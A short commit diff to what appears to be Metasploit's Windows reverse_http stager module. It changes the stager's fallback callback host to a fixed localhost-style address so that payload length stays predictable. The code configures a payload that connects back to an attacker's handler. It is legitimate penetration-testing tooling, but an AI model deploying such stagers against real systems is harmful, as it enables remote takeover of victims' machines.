Fallback to a localhost variant to make the length predictable

Author: HD Moore

modules/payloads/stagers/windows/reverse_http.rb

@@ -74,7 +74,7 @@ def generate
     u = "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW) + "\x00"
     p[i, u.length] = u
 
-    lhost = datastore['LHOST'] || Rex::Socket.source_address
+    lhost = datastore['LHOST'] || '127.127.127.127'
     if Rex::Socket.is_ipv6?(lhost)
       lhost = "[#{lhost}]"
     end